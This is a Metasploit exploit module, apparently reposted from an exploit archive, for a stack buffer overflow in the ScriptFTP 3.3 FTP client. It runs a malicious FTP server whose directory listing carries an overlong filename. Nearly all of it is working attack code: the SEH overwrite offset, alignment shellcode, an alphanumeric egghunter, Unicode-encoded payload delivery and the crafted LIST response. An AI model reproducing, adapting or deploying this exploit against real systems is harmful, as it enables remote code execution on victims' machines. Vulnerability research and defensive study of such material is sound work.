ScriptFTP 3.3 Remote Buffer Overflow (MSF)

#Exploit Title: ScriptFTP 3.3 Remote Buffer Overflow (MSF)
#Date: Sept 20 2011
#Author: otoy
#Version: 3.3
#Tested on: Windows XP SP3
#CVE : -
#EDB-ID: 17876
#Thanks: cyb3r.anbu, spentera-team, dE-team, offsec, exploit-db, corelanc0d3r
 
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Exploit::Remote::FtpServer
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ScriptFTP 3.3 Remote Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in ScriptFTP 3.3 ftp client. The overflow is
                triggered when the client connects to a FTP server which sends an overly long directory
                and filename in response to a GETLIST command.
 
                This will cause an access violation, and will eventually overwrite the saved extended
                instruction pointer. 
            },
            'Author'     =>
                [
                    'modpr0be',     # Original bug
                    'Cyberheb', # porting from poc to msf
                    'Otoy',     # final msf module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => "0",
            'References'     =>
                [
                    [ 'OSVDB', '75633'],
                    [ 'URL', 'http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                                        'Space'    => 1000,
                                        'DisableNops' => true,
                    'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
                    'BadChars'  =>  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
                                'EncoderOptions' =>
                                    {
                                            'BufferRegister' => 'EDX',
                                    }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP Universal', { 'Ret' => "\x45\x5B", 'Offset' => 1746 } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Sept 20 2011',
            'DefaultTarget'  => 0))
 
    end
 
    def setup
        super
    end
 
    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
    end
 
 
    #Unicode Encoder
        def get_unicode_payload(p)
            encoder = framework.encoders.create("x86/unicode_upper")
            encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )
            unicode_payload = encoder.encode(p, nil, nil, platform)
            return unicode_payload
        end
 
 
    def on_client_command_list(c,arg)
        conn = establish_data_connection(c)
        if(not conn)
            c.put("425 Can't build data connection\r\n")
            return
        end
        print_status(" - Data connection set up")
        code = 150
        c.put("#{code} Here comes the directory listing.\r\n")
        code = 226
        c.put("#{code} Directory send ok.\r\n")
 
 
        sampahawal = "A" * 1746
        nseh = "\x61\x62"
        seh = target['Ret']
        sampahbawah = 1250
 
                #prepare for align
                align = "\x60"                      #pushad
                align << "\x73"                     #nop/align
                align << "\x53"                     #push ebx
                align << "\x73"                     #nop/align
                align << "\x58"                     #pop eax
                align << "\x73"                     #nop/align
                align << "\x05\x02\x11"             #add eax,0x11000200
                align << "\x73"                     #nop/align
                align << "\x2d\x01\x11"             #sub eax,0x11000120
                align << "\x73"                     #nop/align
 
        #align after egg
                align2 = "\x73\x57\x73\x58\x73"             #nop/push edi/nop/pop eax/nop
                align2 << "\xb9\x1b\xaa"                    #mov ecx,0xaa001b00
                align2 << "\xe8\x73"                        #add al,ch + nop
                align2 << "\x50\x73\xc3"                    #push eax,nop,ret
 
                #walking
                walk = "\x50"                               #push eax
                walk << "\x73"                              #nop/align
            walk << "\xc3"                              #ret
 
        #egghunter
                egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"
                egghunter << "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"
                egghunter << "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"
                egghunter << "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"
                egghunter << "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"
                egghunter << "SEYWKOYWA"
 
        #junk
        sampah1 = "\x44" * 106 + "\x73"
        sampah2 = "\x42" * 544
 
        #egg
        telur = "0t0t"
         
        #payload
        stubget = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
        palpha = stubget + payload.encoded
        puni = get_unicode_payload(palpha)
         
        #filename
        filename = sampahawal
        filename << nseh
        filename << seh
        filename << align
        filename << walk
        filename << sampah1
        filename << egghunter
        filename << sampah2
        filename << telur
        filename << align2
        filename << puni
        filename << sampah1
 
        print_status(" - Sending directory list via data connection")
                dirlist = "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt\r\n"
                dirlist << "drwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}\r\n"
                dirlist << "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt\r\n"
        conn.put(dirlist)
        conn.close
        return
    end
 
end



#  0day.today [2018-01-10]  #